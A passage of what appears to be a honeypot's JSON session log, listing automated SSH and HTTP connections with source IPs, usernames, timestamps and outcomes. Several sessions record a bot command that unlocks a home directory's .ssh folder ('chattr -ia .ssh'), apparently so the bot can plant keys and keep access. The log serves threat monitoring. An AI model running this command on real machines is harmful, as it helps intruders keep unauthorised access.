  "started_at": "2026-08-27T01:53:00.068929+00:00",
  "ended_at": "2026-08-27T01:53:17.302168+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1665
 },
 {
  "id": "4f485ef2-396b-4b57-9d62-9f877e6b398a",
  "name": "brazen-cosmic-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:52:18.490019+00:00",
  "ended_at": "2026-08-27T01:52:20.605121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e570745-220f-49ac-bd83-21b5e4612a35",
  "name": "airy-pleasant-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 58399,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:50:55.488954+00:00",
  "ended_at": "2026-08-27T01:50:56.413522+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "196f1d27-2c48-4975-ba0b-ddd181b0dab5",
  "name": "icy-grumpy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 32900,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:50:32.380524+00:00",
  "ended_at": "2026-08-27T01:50:33.575565+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "63098e80-2a8f-4c80-a71d-e5d6fbcfb33f",
  "name": "weathered-somber-snipe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43954,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:50:13.513392+00:00",
  "ended_at": "2026-08-27T01:50:15.011292+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "364206dc-9601-40e3-b68e-3cda35605814",
  "name": "faded-loyal-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 32904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:50:09.123761+00:00",
  "ended_at": "2026-08-27T01:50:10.885527+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a1b12b7-0f82-49e1-9aa2-57c3fa02ef37",
  "name": "civil-canny-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57419,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:48:50.523411+00:00",
  "ended_at": "2026-08-27T01:49:29.294033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9229aa80-23b4-4320-acbf-4916bcd0e6ad",
  "name": "sooty-golden-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 54798,
  "username": "wjx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:47:29.547521+00:00",
  "ended_at": "2026-08-27T01:47:30.894678+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "8e71f289-0f05-487c-b98d-f1362f335a75",
  "name": "tidal-graceful-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47130,
  "username": "wjx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:47:11.811520+00:00",
  "ended_at": "2026-08-27T01:47:12.686779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e91607fb-ce6f-40dc-86b9-2af3db09d6cb",
  "name": "sterling-fleeting-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47116,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:47:06.656104+00:00",
  "ended_at": "2026-08-27T01:47:09.107587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab234d84-5dc5-432f-ad64-391658bd5dcd",
  "name": "crisp-gleaming-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49488,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:45:32.014464+00:00",
  "ended_at": "2026-08-27T01:45:34.535770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d170d24-50a3-41f2-b2a6-f2ed8dd45d3d",
  "name": "tidal-pleasant-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36436,
  "username": "testserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:44:30.225882+00:00",
  "ended_at": "2026-08-27T01:44:31.735209+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "8e5400b7-3b16-4246-b37f-869ecca3c48f",
  "name": "snowy-electric-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36462,
  "username": "testserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:44:11.564584+00:00",
  "ended_at": "2026-08-27T01:44:12.594908+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61e6ccaa-82a5-4b7b-95ad-47f818e03003",
  "name": "jolly-gritty-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36448,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:44:08.737740+00:00",
  "ended_at": "2026-08-27T01:44:09.884723+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "688b3edf-2678-4644-a938-c3e7d46e0c0e",
  "name": "plush-ashen-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 48012,
  "username": "wushi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:41:45.157077+00:00",
  "ended_at": "2026-08-27T01:41:46.363063+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "3aec6973-1690-445d-9b29-c8fce403ebe0",
  "name": "western-gallant-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43054,
  "username": "wushi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:41:26.263071+00:00",
  "ended_at": "2026-08-27T01:41:27.199313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9d08d0f-7925-43fb-8e77-a5ed7711c1cf",
  "name": "indigo-civil-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 48016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:41:23.252677+00:00",
  "ended_at": "2026-08-27T01:41:24.986700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02156ba3-ccf6-43c0-8d41-ead9d38ecbef",
  "name": "canny-courtly-oryx",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:39:25.676225+00:00",
  "ended_at": "2026-08-27T01:55:05.478281+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf6775e3-99df-4276-b034-0548a506f67d",
  "name": "meadow-umber-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 41666,
  "username": "VPN",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:38:59.630835+00:00",
  "ended_at": "2026-08-27T01:39:00.963779+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "7d133289-583d-4f56-88b8-a66808cbd0bd",
  "name": "quartz-mottled-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33644,
  "username": "VPN",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:38:40.900184+00:00",
  "ended_at": "2026-08-27T01:38:42.050466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b6a2e86-750f-4d73-9089-59e0d4f9a775",
  "name": "sturdy-brave-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33640,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:38:35.564842+00:00",
  "ended_at": "2026-08-27T01:38:36.910186+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e37c3603-b396-4bd2-9610-959bcea64e87",
  "name": "jolly-eager-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56167,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:37:39.736629+00:00",
  "ended_at": "2026-08-27T01:37:41.163660+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12237386-8cd9-47db-9f10-b1b2a754009a",
  "name": "tangled-dusky-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 53658,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:36:52.535278+00:00",
  "ended_at": "2026-08-27T01:36:54.829021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33dfaf6c-a578-4c80-8a86-82e9aa4f5c40",
  "name": "marbled-somber-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 39998,
  "username": "alma",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:35:49.956104+00:00",
  "ended_at": "2026-08-27T01:35:51.548596+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "33211200-3339-43cb-bb99-c8ffbb0b458f",
  "name": "quiet-graceful-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53420,
  "username": "alma",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:35:28.450013+00:00",
  "ended_at": "2026-08-27T01:35:30.336199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4202866a-2fe2-4622-8661-e5561dcb99cd",
  "name": "salty-lunar-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40002,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:35:23.583834+00:00",
  "ended_at": "2026-08-27T01:35:24.784945+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0532f9d0-de19-4259-ac4e-e3bb61f94e62",
  "name": "blazing-curious-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49768,
  "username": "vpsuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:32:33.115570+00:00",
  "ended_at": "2026-08-27T01:32:34.542697+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "74b6dbc1-a089-4993-a2b3-27e203b177a2",
  "name": "sullen-hearty-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33964,
  "username": "vpsuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:32:14.707787+00:00",
  "ended_at": "2026-08-27T01:32:15.390014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da97a4e5-08b2-4b97-8917-209ed9b18ddc",
  "name": "nautical-keen-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:32:10.047789+00:00",
  "ended_at": "2026-08-27T01:32:11.601867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbe62335-4e5e-4818-ab78-456f858b9be9",
  "name": "breezy-forlorn-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33206,
  "username": "igor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:29:16.307101+00:00",
  "ended_at": "2026-08-27T01:29:17.362010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "8700e4cb-0c2a-499a-a631-f40c4e9d03c9",
  "name": "burly-crystal-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44602,
  "username": "igor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:28:57.075210+00:00",
  "ended_at": "2026-08-27T01:28:57.938797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65cd65a9-67ed-400b-a470-da2d5135c6e3",
  "name": "creaky-watchful-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:28:51.781561+00:00",
  "ended_at": "2026-08-27T01:28:52.839810+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "726dbc7b-ac20-4247-8061-4e625ecfa5d9",
  "name": "shaded-northern-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53623,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:28:51.311089+00:00",
  "ended_at": "2026-08-27T01:29:19.940571+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc9001fa-abd2-45f3-823e-67ec32f036c6",
  "name": "gentle-lunar-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37908,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:26:01.260217+00:00",
  "ended_at": "2026-08-27T01:26:01.747327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "568ea593-d882-405c-b436-c263036b1151",
  "name": "nimble-thorny-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:25:50.305118+00:00",
  "ended_at": "2026-08-27T01:25:52.054802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5ba1c01-c7f0-4a79-8441-6a03993fd895",
  "name": "genial-pewter-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:25:47.804125+00:00",
  "ended_at": "2026-08-27T01:25:49.203312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "834879d1-8c8c-4875-98be-c908d673c871",
  "name": "gloomy-bitter-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:25:43.297679+00:00",
  "ended_at": "2026-08-27T01:25:45.488686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "73838beb-b4b3-452d-a392-a28332d3d2fe",
  "name": "honest-supple-brambling",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "136.111.61.81",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; Reflectionbot/1.0; +https://reflection.ai/bot)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:23:41.679879+00:00",
  "ended_at": "2026-08-27T01:39:05.333129+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66d7fd29-009f-483e-9c71-fd43eb389e87",
  "name": "fierce-glacial-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:23:09.177870+00:00",
  "ended_at": "2026-08-27T01:23:10.500250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c42b8575-fc39-4b20-91b6-87312935acb3",
  "name": "ginger-supple-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:22:47.880518+00:00",
  "ended_at": "2026-08-27T01:22:49.903226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36794fca-0e8b-4b05-b9ca-aabbe596d824",
  "name": "placid-gleaming-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33584,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:22:43.768731+00:00",
  "ended_at": "2026-08-27T01:22:44.853123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47eb36f0-fef0-4a62-9e42-1175eae814db",
  "name": "placid-verdant-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53795,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:21:58.527138+00:00",
  "ended_at": "2026-08-27T01:22:28.139783+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bfcb867e-cf3f-4e83-b971-4cb292be2b4a",
  "name": "grassy-snowy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:19:50.901302+00:00",
  "ended_at": "2026-08-27T01:19:52.508860+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2349bf23-1229-4bb7-891f-e00c0d75c479",
  "name": "woven-feral-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:19:31.045169+00:00",
  "ended_at": "2026-08-27T01:19:32.915949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8166fe0b-d5a7-4e41-9a1d-75b56a834221",
  "name": "vivid-windswept-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:19:28.668164+00:00",
  "ended_at": "2026-08-27T01:19:29.989493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "baf9edd4-8eab-45b6-99e9-d2bceea49c71",
  "name": "regal-ivory-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36252,
  "username": "client",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:17:07.613064+00:00",
  "ended_at": "2026-08-27T01:17:08.769650+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d04a6b8c-f2bc-47a8-9b20-06f5c1926088",
  "name": "gnarled-dewy-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52834,
  "username": "client",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:16:46.644630+00:00",
  "ended_at": "2026-08-27T01:16:48.621084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d17a6cf-3a5f-4af8-90f2-4381fa87165f",
  "name": "woven-emerald-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52820,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:16:43.428106+00:00",
  "ended_at": "2026-08-27T01:16:44.692389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "593c62ce-6b65-4a10-8849-f27e7a763452",
  "name": "chilly-prairie-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60535,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:14:26.986048+00:00",
  "ended_at": "2026-08-27T01:14:30.822574+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e870c39-c9a8-4024-99f4-6357f24d91dc",
  "name": "thrifty-solemn-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 53860,
  "username": "edwin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 513,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:14:00.724812+00:00",
  "ended_at": "2026-08-27T01:14:02.097768+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
